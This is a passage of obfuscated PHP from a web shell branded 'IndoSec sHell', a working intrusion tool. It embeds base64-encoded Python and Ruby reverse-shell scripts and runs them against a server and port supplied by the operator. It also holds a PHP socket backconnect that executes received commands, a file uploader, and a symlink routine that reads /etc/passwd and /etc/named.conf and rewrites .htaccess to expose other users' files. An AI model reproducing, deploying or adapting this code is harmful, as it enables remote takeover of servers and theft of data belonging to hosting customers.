pLN4f; x_XSh: echo "<pre class='text-light'>{$out}\xa" . exe("ps aux | grep bc.pl") . "</pre>"; goto FpZRE; pLN4f: sleep(1); goto x_XSh; hiRz8: } goto qfqDi; qfqDi: if ($_POST["backconnect"] == "python") { goto OEN9k; etW6k: sleep(1); goto g0JT8; mCDL9: $out1 = exe("python bcpyt.py " . $_POST["server"] . " " . $_POST["port"]); goto etW6k; wxJPj: unlink("bcpyt.py"); goto v58sz; mwzSf: $pbcaa = @fopen("bcpyt.py", "w"); goto bUrWv; g0JT8: echo "<pre class='text-light'>{$out1}\xa" . exe("ps aux | grep bcpyt.py") . "</pre>"; goto wxJPj; OEN9k: $becaa = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk="); goto mwzSf; bUrWv: fwrite($pbcaa, $becaa); goto mCDL9; v58sz: } goto xEZou; xEZou: if ($_POST["backconnect"] == "ruby") { goto a_h3O; MjRwe: unlink("bcruby.rb"); goto c9T2W; Psbrc: $out2 = exe("ruby bcruby.rb " . $_POST["server"] . " " . $_POST["port"]); goto nRAYO; EkF89: fwrite($pbcaak, $becaak); goto Psbrc; a_h3O: $becaak = base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k"); goto hBsyz; nRAYO: sleep(1); goto ZlsOK; ZlsOK: echo "<pre class='text-light'>{$out2}\xa" . exe("ps aux | grep bcruby.rb") . "</pre>"; goto MjRwe; hBsyz: $pbcaak = @fopen("bcruby.rb", "w"); goto EkF89; c9T2W: } goto J_DFw; J_DFw: if ($_POST["backconnect"] == "php") { goto Tw9Yb; Gcemz: if ($errno != 0) { echo "<font color='red'>{$errno} : {$errstr}</font>"; } else { if (!$sockfd) { $result = "<p>Unexpected error has occured, connection may have failed.</p>"; } else { goto DDH8h; Se4Lw: fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "\xa
"); goto gwt38; DDH8h: fputs($sockfd, "\xd\xa		\x9
{#######################################}\xd
\x9	\x9\xa..:: BackConnect PHP By Con7ext ::..\xd\xa	\x9	\xa{#######################################}
"); goto Ec470; xp3tA: $len = 1337; goto Se4Lw; cJoBA: @fclose($sockfd); goto wYd1e; gwt38: while (!feof($sockfd)) { $cmdPrompt = "[kuda]#:> "; @fputs($sockfd, $cmdPrompt); $command = fgets($sockfd, $len); @fputs($sockfd, "\xa" . @shell_exec($command) . "\xa
"); } goto cJoBA; Oq0nF: $time = @Shell_exec("time"); goto xp3tA; EkKpS: $sysinfo = @shell_exec("uname -a"); goto Oq0nF; Ec470: $dir = @shell_exec("pwd"); goto EkKpS; wYd1e: } } goto FYeTE; Tw9Yb: $ip = $_POST["server"]; goto EPDD8; efvND: $sockfd = fsockopen($ip, $port, $errno, $errstr); goto Gcemz; EPDD8: $port = $_POST["port"]; goto efvND; FYeTE: } goto GSRHx; Qx_wV: } goto VuWTN; nXepv: echo "<div id="tab"><table class="text-white mt-1 table-hover table-responsive">
\xa	\x9\x9\x9\x9<thead class="bg-info text-center">\xd
	\x9\x9\x9		<th class="text-left">File/folder</th>
\xa\x9\x9\x9\x9\x9	<th>Size</th>
		\x9\x9		<th>Last Modified</th>
	\x9\x9	\x9\x9<th>Permission</th>
\xa\x9	\x9		\x9<th>Action</th>
\x9\x9\x9	\x9</thead>"; goto bwdhM; bwdhM: foreach ($scandir as $dir) { goto TVVRs; TVVRs: $dtime = date("d/m/y G:i", filemtime("{$dir}/{$dirx}")); goto waAzV; waAzV: if (strlen($dir) > 18) { $_dir = substr($dir, 0, 18) . "..."; } else { $_dir = $dir; } goto wBGxc; wBGxc: $_diir = $_dir; goto vaUiW; vaUiW: if (!is_dir($path . "/" . $dir) || $dir == "." || $dir == "..") { continue; } goto qL8Nx; qL8Nx: echo "<tr class="text-center">
\xa	\x9\x9\x9	\x9\x9<td class="pinggir">" . $imgfol . " <a href="?dir=" . $path . "/" . $dir . "">" . $_diir . "</a></td>
							<td>--</td>
\xa	\x9\x9\x9	\x9	<td>" . $dtime . "</td>
\xa\x9	\x9	\x9\x9	<td>
	\x9\x9	\x9\x9	<a href="?dir=" . $path . "/" . $dir . "&aksi=chmod_dir">
"; goto K6xV4; K6xV4: if (is_writable($path . "/" . $dir)) { echo "<font color="#00ff00">"; } elseif (!is_readable($path . "/" . $dir)) { echo "<font color="red">"; } goto lD1Dt; lD1Dt: echo perms($path . "/" . $dir); goto bAU8j; bAU8j: if (is_writable($path . "/" . $dir) || !is_readable($path . "/" . $dir)) { echo "</font></a></td>\xd\xa		\x9\x9\x9		<td><a title="Rename" class="badge badge-success" href="?dir=" . $path . "/" . $dir . "&aksi=rename_folder">&nbsp;<i class="fas fa-pen"></i>&nbsp;</a>&nbsp;&nbsp;<a title="Delete" class="badge badge-danger" href="?dir=" . $path . "/" . $dir . "&aksi=hapus_folder">&nbsp;<i class="fa fa-trash"></i>&nbsp;</a>
\xa	\x9		\x9\x9	</td>
		\x9\x9\x9	</tr>"; } goto rJSId; rJSId: } goto J3SOc; m95hV: $scdir = explode("/", $dir); goto pZDoR; SgkPP: function aksiUpload($dir) { echo "<form method="POST" enctype="multipart/form-data" name="uploader" id="uploader">
	\x9<div class="card">\xd\xa\x9\x9	<div class="card-body form-group">\xd
\x9\x9\x9\x9<p class="text-muted">//Multiple Upload</p>
\x9	\x9\x9<div class="custom-file">\xd\xa	\x9\x9\x9	<input type="file" name="file[]" multiple class="custom-file-input" id="customFile">\xd\xa\x9	\x9\x9\x9<label class="custom-file-label" for="customFile">Choose file</label>
\xa\x9\x9\x9\x9</div>\xd
\x9			<input type="submit" class="btn btn-sm btn-primary btn-block mt-4 p-2" name="upload" value="Upload">
	\x9\x9</div>\xd
\x9	</div>
\xa	</form>"; if (isset($_POST["upload"])) { goto wV1YF; qzynU: for ($i = 0; $i < $jumlah; $i++) { $filename = $_FILES["file"]["name"][$i]; $up = @copy($_FILES["file"]["tmp_name"][$i], "{$dir}/" . $filename); } goto NylZK; wV1YF: $jumlah = count($_FILES["file"]["name"]); goto qzynU; NylZK: if ($jumlah < 2) { if ($up) { goto sdfcn; tJwbo: swall($swa, $text, $dir); goto wRd4J; oAHdT: $text = "Berhasil Upload {$filename}"; goto tJwbo; sdfcn: $swa = "success"; goto oAHdT; wRd4J: } else { goto Gl3Sj; Gl3Sj: $swa = "error"; goto zRbvc; sKSLW: swall($swa, $text, $dir); goto wcnAP; zRbvc: $text = "Gagal Upload File"; goto sKSLW; wcnAP: } } else { goto TKtEz; YdeHl: swall($swa, $text, $dir); goto Y_Lqu; TKtEz: $swa = "success"; goto gQpol; gQpol: $text = "Berhasil Upload {$jumlah} File"; goto YdeHl; Y_Lqu: } goto wiMsA; wiMsA: } } goto AjRpV; EeAx4: @set_time_limit(0); goto dMd6a; xj_BI: function aksiSym($dir, $file) { goto XgIj2; XgIj2: $full = str_replace($_SERVER["DOCUMENT_ROOT"], '', $dir); goto oWxkG; oWxkG: $d0mains = @file("/etc/named.conf"); goto s9XUh; wOjzZ: if ($d0mains) { goto objZM; eIkZm: foreach ($d0mains as $d0main) { if (eregi("zone", $d0main)) { goto BJ9Dg; Z2FHa: flush(); goto Wzcqi; BJ9Dg: preg_match_all("#zone "(.*)"#", $d0main, $domains); goto Z2FHa; Wzcqi: if (strlen(trim($domains[1][0])) > 2) { goto WODzO; BXza0: $dcount++; goto ZKkES; p2nFe: echo "<tr>
	\x9\x9		\x9\x9<td>" . $dcount . "</td>
\xa\x9	\x9	\x9\x9\x9<td class='text-left'><a href=http://www." . $domains[1][0] . "/>" . $domains[1][0] . "</a></td>\xd\xa\x9\x9	\x9		\x9<td>" . $user["name"] . "</td>
	\x9\x9				<td><a href='{$full}/indosec_sym/root/home/" . $user["name"] . "/public_html' target='_blank'>Symlink</a></td>
\x9			\x9	</tr>"; goto l07m5; WODzO: $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0])); goto p2nFe; l07m5: flush(); goto BXza0; ZKkES: } goto xDcYD; xDcYD: } } goto U3Glk; fqjNH: $file3 = "Options Indexes FollowSymLinks
\xa		DirectoryIndex indsc.html
	\x9AddType text/plain php html php5 phtml
\x9\x9AddHandler text/plain php html php5 phtml
	\x9Satisfy Any"; goto qbPT9; TW_qm: @fclose($fp3); goto gbZvh; t8kpS: $dcount = 1; goto eIkZm; objZM: @mkdir("indosec_sym", 0777); goto D1RPi; UzTM0: $fw3 = fwrite($fp3, $file3); goto TW_qm; qbPT9: $fp3 = fopen(".htaccess", "w"); goto UzTM0; s_h3k: @exe("ln -s / root"); goto fqjNH; U3Glk: echo "</table></div>"; goto ZS82Z; D1RPi: @chdir("indosec_sym"); goto s_h3k; gbZvh: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]
	\x9<div class='tmp'>
\x9\x9<table class='text-center table-responsive'>
\x9		<thead class='bg-info'>
\x9	\x9\x9<th>No.</th>
\xa	\x9		<th>Domains</th>\xd
\x9	\x9	<th>Users</th>
\xa			\x9<th>symlink </th>
\x9\x9\x9</thead>"; goto t8kpS; ZS82Z: } else { $TEST = @file("/etc/passwd"); if ($TEST) { goto SkQm3; kQ5lv: $fp3 = fopen(".htaccess", "w"); goto HVvCD; IrBu3: while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $matches); $matches = str_replace("home/", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") { continue; } echo "<tr>
		\x9	\x9\x9<td>" . $dcount . "</td>\xd
\x9	\x9	\x9\x9<td>" . $matches . "</td>
\xa	\x9	\x9\x9	<td><a href={$full}/indosec_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td>\xd\xa	\x9		\x9</tr>"; $dcount++; } goto w_6tO; SkQm3: @mkdir("indosec_sym", 0777); goto TuC0e; OzvZ2: echo "</table></div>"; goto krRwm; TuC0e: @chdir("indosec_sym"); goto NxnUF; NOfnQ: $file = fopen("/etc/passwd", "r") or exit("Unable to open file!"); goto IrBu3; NxnUF: @exe("ln -s / root"); goto c0Oxw; HVvCD: $fw3 = fwrite($fp3, $file3); goto oKE8D; c0Oxw: $file3 = "Options Indexes FollowSymLinks\xd\xa\x9\x9\x9DirectoryIndex indsc.html
\x9\x9\x9AddType text/plain php html php5 phtml\xd\xa\x9		AddHandler text/plain php html php5 phtml
\xa	\x9	Satisfy Any"; goto kQ5lv; w_6tO: fclose($file); goto OzvZ2; zOH7L: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]
			<div class='tmp'>
\xa\x9\x9\x9<table class='text-center table-responsive'>\xd\xa\x9	\x9\x9<thead class='bg-warning'>
\xa	\x9\x9		<th>No.</th>\xd\xa\x9	\x9\x9\x9<th>Users</th>
		\x9	\x9<th>symlink </th>
\xa\x9\x9	\x9</thead>"; goto m_bGY; oKE8D: @fclose($fp3); goto zOH7L; m_bGY: $dcount = 1; goto NOfnQ; krRwm: } else { if ($os != "Windows") { goto VJN0d; wC2zW: @exe("ln -s / root"); goto vMH9h; ZddQq: echo "<br/>"; goto Babxs; R0g51: $file = fopen("test.txt", "r") or exit("Unable to open file!"); goto jG9tT; UotEu: $fw3 = fwrite($fp3, $file3); goto OdCkx; l3hg6: echo "</table></div>"; goto KI5qs; Z24Xf: @chdir("indosec_sym"); goto wC2zW; KI5qs: unlink("test.txt"); goto HGlqQ; Babxs: $temp = trim($temp); goto UVHiV; UVHiV: $file5 = fopen("test.txt", "w"); goto BX62G; GsrFS: $dcount = 1; goto R0g51; AIbFP: $val1 = 0; goto JDDeM; HpzHM: echo "[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]\xd
\x9		<div class='tmp'><table class='text-center table-responsive'>
	\x9\x9\x9<thead class='bg-danger'>\xd
\x9				<th>ID.</th>
\xa\x9			\x9<th>Users</th>\xd\xa\x9	\x9		<th>symlink </th>\xd
\x9			</thead>"; goto K8HtK; CeWbZ: fclose($file5); goto GsrFS; OdCkx: @fclose($fp3); goto HpzHM; jG9tT: while (!feof($file)) { $s = fgets($file); $matches = array(); $t = preg_match("/\/(.*?)\:\//s", $s, $matches); $matches = str_replace("home/", '', $matches[1]); if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") { continue; } echo "<tr>
\xa					\x9<td>" . $dcount . "</td>
	\x9\x9		\x9<td>" . $matches . "</td>
\x9	\x9	\x9	<td><a href={$full}/indosec_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td>\xd
				\x9</tr>"; $dcount++; } goto bs4q6; BX62G: fputs($file5, $temp); goto CeWbZ; bs4q6: fclose($file); goto l3hg6; K8HtK: $temp = ''; goto AIbFP; qqe7X: $fp3 = fopen(".htaccess", "w"); goto UotEu; ljw2k: for (; $val1 <= $val2; $val1++) { $uid = @posix_getpwuid($val1); if ($uid) { $temp .= join(":", $uid) . "\xa"; } } goto ZddQq; VJN0d: @mkdir("indosec_sym", 0777); goto Z24Xf; vMH9h: $file3 = "Options Indexes FollowSymLinks
	\x9	DirectoryIndex indsc.html\xd\xa\x9	\x9AddType text/plain php html php5 phtml\xd
		\x9AddHandler text/plain php html php5 phtml
\xa\x9\x9\x9Satisfy Any"; goto qqe7X; JDDeM: $val2 = 1000; goto ljw2k; HGlqQ: } } } goto QOvt9; QOvt9: exit; goto MYT2T; s9XUh: if (!$d0mains) { die("[ <a href='?dir={$dir}&aksi=symread'>Bypass Read</a> ] [ <a href='?dir={$dir}&aksi=sym_404'>Symlink 404</a> ] [ <a href='?dir={$dir}&aksi=sym_bypas'>Symlink Bypass</a> ]<br/><font color='red'>Error tidak dapat membaca  /etc/named.conf</font><br/><br/>"); } goto wOjzZ; MYT2T: } goto WLipb; d6UQd: @ini_set("log_errors", 0); goto b023T; CxhHz: $ver = phpversion(); goto Ps3EX; hxcvI: echo "<html>\xd\xa\x9<head>
\xa	\x9<meta name="viewport" content="widht=device-widht, initial-scale=1"/>
\x9\x9<meta name="theme-color" content="#343a40"/>\xd\xa	\x9<meta name="author" content="Holiq"/>
	\x9<meta name="copyright" content="{ IndoSec }"/>\xd\xa		<title>{ IndoSec sHell }</title>
\xa	\x9<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
	\x9<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css"/>
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/>\xd\xa		<script src="https://code.jquery.com/jquery-3.3.1.js"></script>
\x9\x9<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>\xd\xa		<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js"></script>
\xa\x9</head>
\xa\x9<body class="bg-dark text-light">\xd
\x9	<script>
\x9		$(document).ready(function(){\xd
	\x9\x9	$(window).scroll(function(){
\xa					if ($(this).scrollTop() > 700){\xd\xa			\x9		$(".scrollToTop").fadeIn();
\xa	\x9	\x9	}else{\xd\xa	\x9	\x9\x9\x9$(".scrollToTop").fadeOut();
	\x9	\x9	}
\xa\x9	\x9\x9});
\xa\x9			$(".scrollToTop").click(function(){
	\x9\x9\x9\x9$("html, body").animate({scrollTop : 0},1000);
\xa\x9	\x9\x9	return false;
\x9\x9\x9	});\xd
	\x9	});
\xa\x9		$(document).ready(function(){
\xa\x9	\x9	$('input[type="file"]').on("change", function(){
		\x9	\x9let filenames = [];
\xa	\x9\x9		let files = document.getElementById("customFile").files;
\xa		\x9	\x9if (files.length > 1){\xd
\x9\x9\x9	\x9	filenames.push("Total Files (" + files.length + ")");
	\x9\x9\x9\x9}else{\xd
	\x9				for (let i in files){
\xa			\x9\x9		if (files.hasOwnProperty(i)){
\xa	\x9\x9\x9				filenames.push(files[i].name);\xd\xa			\x9			}
\x9	\x9\x9\x9\x9}
\xa\x9\x9\x9\x9	}\xd
\x9	\x9	\x9$(this).next(".custom-file-label").html(filenames.join(","));
\xa\x9	\x9	});\xd\xa\x9\x9\x9});\xd
\x9\x9\x9var max_fields = 5;
\xa	\x9\x9var x = 1;\xd
\x9		$(document).on('click', '#add_input', function(e){\xd\xa			\x9if(x < max_fields){\xd\xa\x9\x9	\x9\x9x++;
\x9\x9\x9\x9	$('#output').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_file[]\" placeholder=\"Nama File...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');\xd
	\x9\x9\x9}\xd
\x9\x9\x9\x9$('#output').on("click",".remove", function(e){
\xa\x9	\x9\x9\x9e.preventDefault(); $(this).parent('#out').remove(); x--;
\xa			\x9\x9repeat();\xd\xa\x9\x9	\x9})
\x9\x9	});
\x9		$(document).on('click', '#add_input1', function(e){\xd\xa\x9			if(x < max_fields){\xd\xa\x9	\x9	\x9x++;
\xa\x9			\x9$('#output1').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_folder[]\" placeholder=\"Nama Folder...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');
	\x9	\x9}
	\x9	\x9$('#output1').on("click",".remove", function(e){
\xa			\x9	e.preventDefault(); $(this).parent('#out').remove(); x--;
\xa			\x9	repeat();\xd\xa\x9\x9\x9\x9})
	\x9	});\xd
	\x9\x9\xd\xa\x9\x9</script>\xd\xa\x9	<style>
\xa\x9\x9	@import url(https://fonts.googleapis.com/css?family=Lato);
		\x9@import url(https://fonts.googleapis.com/css?family=Quicksand);
			@import url(https://fonts.googleapis.com/css?family=Inconsolata);\xd
	\x9	@media(min-width:767px){.scrollToTop{display:none !important;}}
\xa			@media(max-width:767px){textarea{font-size:13px !important;}}\xd
	\x9\x9input[type="text"],textarea {font-family: "Inconsolata", monospace;}
\xa			body{margin:0;padding:0;font-family:"Lato";overscroll-behavior:none;}\xd
\x9	\x9.infor{font-size:14px;color:#333!important;}\xd
	\x9\x9.ds{color:#f00!important;word-wrap:break-word;}\xd
\x9		#tab table thead th{padding:5px;font-size:16px;white-space: nowrap;}\xd
\x9\x9\x9#tab tr {border-bottom:1px solid #ccc;}\xd
\x9	\x9#tab tr:hover{background:#5B6F7D;color:#fff;}\xd\xa			#tab tr td{padding:5px 10px;white-space:nowrap;}\xd
\x9\x9	.pinggir{text-align:left !important; padding-left: 4px !important;}
\xa		\x9#tab tr td .badge{font-size:13px;}\xd\xa\x9\x9	.active,.active:hover{color:#00FF00;}
\xa\x9\x9\x9a {font-family:"Quicksand"; color:white;}
\xa	\x9\x9a:hover{color:dodgerBlue;}
\x9\x9\x9.badge{width:30px;transition:.3s;}
\xa		\x9.badge:hover{transform: scale(1.1);transition:.3s;}
\x9\x9\x9.ico {width:25px;}
\xa	\x9\x9.ico2{width:30px;}
\xa\x9	\x9.scrollToTop{\xd
	\x9\x9\x9position:fixed;
\xa		\x9\x9bottom:30px;
\xa\x9\x9\x9	right:30px;\xd
\x9		\x9width:35px;\xd
\x9		\x9height:35px;
\xa				background:#262626;
	\x9\x9	color:#fff;\xd\xa		\x9\x9border-radius:15%;\xd
		\x9	text-align:center;
\xa				opacity:.5;
\xa\x9\x9\x9}\xd
\x9	\x9.scrollToTop:hover{color:#fff;}\xd\xa\x9\x9\x9.up{font-size:25px;line-height:35px;}\xd
